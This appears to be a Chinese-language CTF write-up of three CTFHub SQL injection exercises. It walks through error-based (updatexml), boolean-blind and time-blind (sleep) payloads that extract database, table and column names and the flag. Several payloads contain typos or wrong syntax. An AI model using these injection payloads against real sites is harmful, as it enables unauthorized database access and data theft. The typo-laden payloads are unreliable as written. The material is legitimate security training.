例题(手工注入)
S3a Lv3

例题(手工注入)

例题1:报错注入(ctfhub)

image

报错注入:首先想到 updatexml

1
1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1)

image

此时查询到数据库名:sqli

1
1 union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"),0x7e),1)

image

查询到表名:flag 进而查询列名:

1
1 union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"),0x7e),1)

image

最后查询 列名为 flag 的信息

1
1 union select updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)

image

例题2:布尔盲注(ctfhub)

  1. substr(str,from,length):返回从下标为from截取长度为length的str子串。其中,首字符下标为1
  2. length(str):返回str串长度

1. 首先 爆数据库名长度 使用length(database()) = i 获取数据库名的长度

1
2
3
1 and length(database())=1
......
1 and length(database())=4

image

2. 根据数据库名长度爆库名 使用 substr(database(),i,1)

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and substr(database(),1,1)=‘a’
#query_error
...
?id=1 and substr(database(),1,1)=‘s’
#query_success
#库名第一个字符是s
...
?id=1 and substr(database(),4,1)=‘i’
#query_success
#库名第四个字符是i

#库名是sqli

image

3. 获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环

1
2
3
4
5
6
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1
#query_error

?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2
#query_success
#当前库sqli有2张表

image

4. 使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
#query_error
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#query_success
#当前库sqli的第一张表表名长度为4
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
#query_success
#当前库sqli的第二张表表名长度为4

#当前库sqli有两张表’news’和’flag‘,表名长度均为4

表名长度爆表名substr((select…limit i,1),j,1)

1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'
#query_error
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n'
#query_success
#当前库sqli的第一张表表名第一个字符是n
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)='g'
#query_success
#当前库sqli的第二张表表名的第四个字符是g

#当前库sqli有两张表’news‘和‘flag’
  1. 对表爆列数量
1
2
3
4
5
6
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=1
#query_error

?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='flag')=2
#query_success
#当前库sqli表flag的列数为2
  1. 根据表名和列数量爆列名长度
1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=1
#query_error
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=4
#query_success
#当前库sqli表flag的第一列列名长度为4
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)=4
#query_success
#当前库sqli表flag的第二列列名长度为4

#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为24

  1. 根据列名长度爆列名
1
2
3
4
5
6
7
8
9
10
11
12
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='a'
#query_error
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i'
#query_success
#当前库sqli表flag的第一列列名第一个字符为i
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),4,1)='g'
#query_success
#当前库sqli表flag的第二列列名第四个字符为g

#当前库sqli表flag有两个列‘id’和‘flag’
  1. 根据列名爆数据
1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1 and substr((select flag from sqli.flag),11)=“a”
#query_error
...
?id=1 and substr((select flag from sqli.flag),11)=“c”
#query_success
#flag的第一个字符是c
...
?id=1 and substr((select flag from sqli.flag),i,1)=“}”
#query_success
#flag的最后一个字符是}
#这里的j是计数变量j从1自增1得到的值

#出循环即可得到flag

例题3:时间盲注(ctfhub)

时间盲注和上一篇布尔盲注一样都是盲注,都需要借助length,ascii,substr这些神奇的函数来猜测各项信息。它们的差别是猜测成功的依据。

布尔盲注的话如果查询有结果,一般会有一个success_flag,比如在上一题里就会返回query successfully

但是时间盲注不一样,它不光不给你查询的内容的回显,不给你报错信息,甚至连布尔盲注里的success_flag也不给。
时间盲注相当于自行创造出了一个success_flag,将查询成功的情况与查询失败的情况做了区分。

substr(str,from,length):返回从下标为from截取长度为length的str子串。其中,首字符下标为1

  1. 首先爆破数据库长度
1
1 and if(length(database())=4,sleep(3),1)

image

  1. 爆破数据库名字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) ascii(s)=115

1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1) ascii(q)=113

1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(3),1) ascii(l)=108

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1) ascii(i)=105

......
不断调整ASCII码的范围逐渐得到数据库名称为sqli

image

  1. 爆破数据库中表的数量
1
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)

image

  1. 爆破数据库中的各表名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
ascii(n)=110

3秒后响应,说明第一张表的第一个字母为n
依次得到表名为news
limit i,1 i 表示的即是第几张表

1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)
ascii(f)=102

3秒后响应,说明第二张表的第一个字母为f
依次得到表名为flag

image

  1. 爆破flag表的字段数
1
1 and if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(3),1)
  1. 猜解字段名
1
2
3
1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(3),1)

一样的套路,得到字段名为flag
 Comments
Comment plugin failed to load
Loading comment plugin